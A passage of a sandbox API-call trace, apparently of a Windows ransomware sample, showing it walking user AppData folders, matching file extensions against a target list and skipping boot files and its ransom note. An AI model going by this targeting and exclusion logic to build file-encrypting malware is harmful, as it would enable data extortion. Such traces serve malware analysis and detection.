(lpString1=".asr", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".asx") returned 4 [0057.766] lstrcmpiW (lpString1=".asx", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".avi") returned 4 [0057.766] lstrcmpiW (lpString1=".avi", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".avs") returned 4 [0057.766] lstrcmpiW (lpString1=".avs", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".backup") returned 7 [0057.766] lstrcmpiW (lpString1=".backup", lpString2="mbs.dat") returned -1 [0057.766] lstrlenW (lpString=".bak") returned 4 [0057.766] lstrcmpiW (lpString1=".bak", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".bay") returned 4 [0057.766] lstrcmpiW (lpString1=".bay", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".bd") returned 3 [0057.766] lstrcmpiW (lpString1=".bd", lpString2="dat") returned -1 [0057.766] lstrlenW (lpString=".bin") returned 4 [0057.766] lstrcmpiW (lpString1=".bin", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".bmp") returned 4 [0057.766] lstrcmpiW (lpString1=".bmp", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".bz2") returned 4 [0057.766] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".c") returned 2 [0057.766] lstrcmpiW (lpString1=".c", lpString2="at") returned -1 [0057.766] lstrlenW (lpString=".cdr") returned 4 [0057.766] lstrcmpiW (lpString1=".cdr", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".cer") returned 4 [0057.766] lstrcmpiW (lpString1=".cer", lpString2=".dat") returned -1 [0057.766] lstrlenW (lpString=".cf") returned 3 [0057.766] lstrcmpiW (lpString1=".cf", lpString2="dat") returned -1 [0057.766] lstrlenW (lpString=".cfc") returned 4 [0057.767] lstrcmpiW (lpString1=".cfc", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".cfm") returned 4 [0057.767] lstrcmpiW (lpString1=".cfm", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".cfml") returned 5 [0057.767] lstrcmpiW (lpString1=".cfml", lpString2="s.dat") returned -1 [0057.767] lstrlenW (lpString=".cfu") returned 4 [0057.767] lstrcmpiW (lpString1=".cfu", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".chm") returned 4 [0057.767] lstrcmpiW (lpString1=".chm", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".cin") returned 4 [0057.767] lstrcmpiW (lpString1=".cin", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".class") returned 6 [0057.767] lstrcmpiW (lpString1=".class", lpString2="bs.dat") returned -1 [0057.767] lstrlenW (lpString=".clx") returned 4 [0057.767] lstrcmpiW (lpString1=".clx", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".config") returned 7 [0057.767] lstrcmpiW (lpString1=".config", lpString2="mbs.dat") returned -1 [0057.767] lstrlenW (lpString=".cpp") returned 4 [0057.767] lstrcmpiW (lpString1=".cpp", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".cr2") returned 4 [0057.767] lstrcmpiW (lpString1=".cr2", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".crt") returned 4 [0057.767] lstrcmpiW (lpString1=".crt", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".crw") returned 4 [0057.767] lstrcmpiW (lpString1=".crw", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".cs") returned 3 [0057.767] lstrcmpiW (lpString1=".cs", lpString2="dat") returned -1 [0057.767] lstrlenW (lpString=".css") returned 4 [0057.767] lstrcmpiW (lpString1=".css", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".csv") returned 4 [0057.767] lstrcmpiW (lpString1=".csv", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".cub") returned 4 [0057.767] lstrcmpiW (lpString1=".cub", lpString2=".dat") returned -1 [0057.767] lstrlenW (lpString=".dae") returned 4 [0057.768] lstrcmpiW (lpString1=".dae", lpString2=".dat") returned -1 [0057.768] lstrlenW (lpString=".dat") returned 4 [0057.768] lstrcmpiW (lpString1=".dat", lpString2=".dat") returned 0 [0057.768] lstrlenW (lpString="thumbs.dat") returned 10 [0057.768] lstrlenW (lpString=".ROGER") returned 6 [0057.768] lstrcmpiW (lpString1=".ROGER", lpString2="bs.dat") returned -1 [0057.768] lstrlenW (lpString="thumbs.dat") returned 10 [0057.768] lstrcmpiW (lpString1="boot.ini", lpString2="thumbs.dat") returned -1 [0057.768] lstrcmpiW (lpString1="bootfont.bin", lpString2="thumbs.dat") returned -1 [0057.768] lstrcmpiW (lpString1="ntldr", lpString2="thumbs.dat") returned -1 [0057.768] lstrcmpiW (lpString1="ntdetect.com", lpString2="thumbs.dat") returned -1 [0057.768] lstrcmpiW (lpString1="io.sys", lpString2="thumbs.dat") returned -1 [0057.768] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="thumbs.dat") returned -1 [0057.768] lstrcmpiW (lpString1="Info.hta", lpString2="thumbs.dat") returned -1 [0057.768] lstrcmpiW (lpString1="ContinuumLoosely.exe", lpString2="thumbs.dat") returned -1 [0057.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat") returned 70 [0057.768] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x5f055ac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="thumbs.dat", cAlternateFileName="")) returned 0 [0057.768] FindClose (in: hFindFile=0x7cb990 | out: hFindFile=0x7cb990) returned 1 [0057.768] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5390060 | out: hHeap=0x790000) returned 1 [0057.768] FindNextFileW (in: hFindFile=0x7cba50, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0057.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows") returned 61 [0057.768] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows") returned 1 [0057.768] lstrlenW (lpString="Windows") returned 7 [0057.768] lstrcmpiW (lpString1="C:\\Windows", lpString2="Windows") returned -1 [0057.768] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x5390060 [0057.768] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows") returned 61 [0057.769] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\*", lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb990 [0057.769] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.769] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1024", cAlternateFileName="")) returned 1 [0057.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1024") returned 66 [0057.769] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1024") returned 1 [0057.769] lstrlenW (lpString="1024") returned 4 [0057.769] lstrcmpiW (lpString1="C:\\Windows", lpString2="1024") returned 1 [0057.769] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4f48010 [0057.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1024") returned 66 [0057.769] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1024\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0057.770] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.770] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x666948e0, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x666948e0, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0057.770] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0057.770] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0057.770] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0057.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033") returned 66 [0057.770] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033") returned 1 [0057.770] lstrlenW (lpString="1033") returned 4 [0057.770] lstrcmpiW (lpString1="C:\\Windows", lpString2="1033") returned 1 [0057.770] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4f48010 [0057.771] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033") returned 66 [0057.771] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0057.771] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x34ef3970, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.771] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x0, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 1 [0057.771] lstrlenW (lpString="StructuredQuerySchema.bin") returned 25 [0057.771] lstrlenW (lpString=".1cd") returned 4 [0057.771] lstrcmpiW (lpString1=".1cd", lpString2=".bin") returned -1 [0057.771] lstrlenW (lpString=".3ds") returned 4 [0057.771] lstrcmpiW (lpString1=".3ds", lpString2=".bin") returned -1 [0057.771] lstrlenW (lpString=".3fr") returned 4 [0057.771] lstrcmpiW (lpString1=".3fr", lpString2=".bin") returned -1 [0057.771] lstrlenW (lpString=".3g2") returned 4 [0057.771] lstrcmpiW (lpString1=".3g2", lpString2=".bin") returned -1 [0057.771] lstrlenW (lpString=".3gp") returned 4 [0057.771] lstrcmpiW (lpString1=".3gp", lpString2=".bin") returned -1 [0057.771] lstrlenW (lpString=".7z") returned 3 [0057.772] lstrcmpiW (lpString1=".7z", lpString2="bin") returned -1 [0057.772] lstrlenW (lpString=".accda") returned 6 [0057.772] lstrcmpiW (lpString1=".accda", lpString2="ma.bin") returned -1 [0057.772] lstrlenW (lpString=".accdb") returned 6 [0057.772] lstrcmpiW (lpString1=".accdb", lpString2="ma.bin") returned -1 [0057.772] lstrlenW (lpString=".accdc") returned 6 [0057.772] lstrcmpiW (lpString1=".accdc", lpString2="ma.bin") returned -1 [0057.772] lstrlenW (lpString=".accde") returned 6 [0057.772] lstrcmpiW (lpString1=".accde", lpString2="ma.bin") returned -1 [0057.772] lstrlenW (lpString=".accdt") returned 6 [0057.772] lstrcmpiW (lpString1=".accdt", lpString2="ma.bin") returned -1 [0057.772] lstrlenW (lpString=".accdw") returned 6 [0057.772] lstrcmpiW (lpString1=".accdw", lpString2="ma.bin") returned -1 [0057.772] lstrlenW (lpString=".adb") returned 4 [0057.772] lstrcmpiW (lpString1=".adb", lpString2=".bin") returned -1 [0057.772] lstrlenW (lpString=".adp") returned 4 [0057.772] lstrcmpiW (lpString1=".adp", lpString2=".bin") returned -1 [0057.772] lstrlenW (lpString=".ai") returned 3 [0057.772] lstrcmpiW (lpString1=".ai", lpString2="bin") returned -1 [0057.772] lstrlenW (lpString=".ai3") returned 4 [0057.772] lstrcmpiW (lpString1=".ai3", lpString2=".bin") returned -1 [0057.772] lstrlenW (lpString=".ai4") returned 4 [0057.772] lstrcmpiW (lpString1=".ai4", lpString2=".bin") returned -1 [0057.772] lstrlenW (lpString=".ai5") returned 4 [0057.772] lstrcmpiW (lpString1=".ai5", lpString2=".bin") returned -1 [0057.772] lstrlenW (lpString=".ai6") returned 4 [0057.772] lstrcmpiW (lpString1=".ai6", lpString2=".bin") returned -1 [0057.772] lstrlenW (lpString=".ai7") returned 4 [0057.772] lstrcmpiW (lpString1=".ai7", lpString2=".bin") returned -1 [0057.772] lstrlenW (lpString=".ai8") returned 4 [0057.772] lstrcmpiW (lpString1=".ai8", lpString2=".bin") returned -1 [0057.772] lstrlenW (lpString=".anim") returned 5 [0057.772] lstrcmpiW (lpString1=".anim", lpString2="a.bin") returned -1 [0057.773] lstrlenW (lpString=".arw") returned 4 [0057.773] lstrcmpiW (lpString1=".arw", lpString2=".bin") returned -1 [0057.773] lstrlenW (lpString=".as") returned 3 [0057.773] lstrcmpiW (lpString1=".as", lpString2="bin") returned -1 [0057.773] lstrlenW (lpString=".asa") returned 4 [0057.773] lstrcmpiW (lpString1=".asa", lpString2=".bin") returned -1 [0057.773] lstrlenW (lpString=".asc") returned 4 [0057.773] lstrcmpiW (lpString1=".asc", lpString2=".bin") returned -1 [0057.773] lstrlenW (lpString=".ascx") returned 5 [0057.773] lstrcmpiW (lpString1=".ascx", lpString2="a.bin") returned -1 [0057.773] lstrlenW (lpString=".asm") returned 4 [0057.773] lstrcmpiW (lpString1=".asm", lpString2=".bin") returned -1 [0057.773] lstrlenW (lpString=".asmx") returned 5 [0057.773] lstrcmpiW (lpString1=".asmx", lpString2="a.bin") returned -1 [0057.773] lstrlenW (lpString=".asp") returned 4 [0057.773] lstrcmpiW (lpString1=".asp", lpString2=".bin") returned -1 [0057.773] lstrlenW (lpString=".aspx") returned 5 [0057.773] lstrcmpiW (lpString1=".aspx", lpString2="a.bin") returned -1 [0057.773] lstrlenW (lpString=".asr") returned 4 [0057.773] lstrcmpiW (lpString1=".asr", lpString2=".bin") returned -1 [0057.773] lstrlenW (lpString=".asx") returned 4 [0057.773] lstrcmpiW (lpString1=".asx", lpString2=".bin") returned -1 [0057.773] lstrlenW (lpString=".avi") returned 4 [0057.773] lstrcmpiW (lpString1=".avi", lpString2=".bin") returned -1 [0057.773] lstrlenW (lpString=".avs") returned 4 [0057.773] lstrcmpiW (lpString1=".avs", lpString2=".bin") returned -1 [0057.773] lstrlenW (lpString=".backup") returned 7 [0057.773] lstrcmpiW (lpString1=".backup", lpString2="ema.bin") returned -1 [0057.773] lstrlenW (lpString=".bak") returned 4 [0057.773] lstrcmpiW (lpString1=".bak", lpString2=".bin") returned -1 [0057.773] lstrlenW (lpString=".bay") returned 4 [0057.773] lstrcmpiW (lpString1=".bay", lpString2=".bin") returned -1 [0057.773] lstrlenW (lpString=".bd") returned 3 [0057.773] lstrcmpiW (lpString1=".bd", lpString2="bin") returned -1 [0057.774] lstrlenW (lpString=".bin") returned 4 [0057.774] lstrcmpiW (lpString1=".bin", lpString2=".bin") returned 0 [0057.774] lstrlenW (lpString="StructuredQuerySchema.bin") returned 25 [0057.774] lstrlenW (lpString=".ROGER") returned 6 [0057.774] lstrcmpiW (lpString1=".ROGER", lpString2="ma.bin") returned -1 [0057.774] lstrlenW (lpString="StructuredQuerySchema.bin") returned 25 [0057.774] lstrcmpiW (lpString1="boot.ini", lpString2="StructuredQuerySchema.bin") returned -1 [0057.774] lstrcmpiW (lpString1="bootfont.bin", lpString2="StructuredQuerySchema.bin") returned -1 [0057.774] lstrcmpiW (lpString1="ntldr", lpString2="StructuredQuerySchema.bin") returned -1 [0057.774] lstrcmpiW (lpString1="ntdetect.com", lpString2="StructuredQuerySchema.bin") returned -1 [0057.774] lstrcmpiW (lpString1="io.sys", lpString2="StructuredQuerySchema.bin") returned -1 [0057.774] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="StructuredQuerySchema.bin") returned -1 [0057.774] lstrcmpiW (lpString1="Info.hta", lpString2="StructuredQuerySchema.bin") returned -1 [0057.774] lstrcmpiW (lpString1="ContinuumLoosely.exe", lpString2="StructuredQuerySchema.bin") returned -1 [0057.774] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\1033\\StructuredQuerySchema.bin") returned 92 [0057.774] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x0, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 0 [0057.774] FindClose (in: hFindFile=0x7cbb10 | out: hFindFile=0x7cbb10) returned 1 [0057.774] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0057.774] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1 [0057.774] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 66 [0057.774] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 1 [0057.774] lstrlenW (lpString="Burn") returned 4 [0057.774] lstrcmpiW (lpString1="C:\\Windows", lpString2="Burn") returned 1 [0057.774] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4f48010 [0057.774] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 66 [0057.774] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\*", lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbb10 [0057.775] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x926116d0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0x926116d0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.775] FindNextFileW (in: hFindFile=0x7cbb10, lpFindFileData=0x45feb9c | out: lpFindFileData=0x45feb9c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1 [0057.775] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn") returned 71 [0057.775] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn") returned 1 [0057.775] lstrlenW (lpString="Burn") returned 4 [0057.775] lstrcmpiW (lpString1="C:\\Windows", lpString2="Burn") returned 1 [0057.775] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4f20018 [0057.775] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn") returned 71 [0057.775] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\*", lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb9d0 [0057.775] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.775] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x45fe920 | out: lpFindFileData=0x45fe920*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0057.775] lstrlenW (lpString="desktop.ini") returned 11 [0057.775] lstrlenW (lpString=".1cd") returned 4 [0057.775] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0057.775] lstrlenW (lpString=".3ds") returned 4 [0057.775] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0057.775] lstrlenW (lpString=".3fr") returned 4 [0057.775] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0057.775] lstrlenW (lpString=".3g2") returned 4 [0057.775] 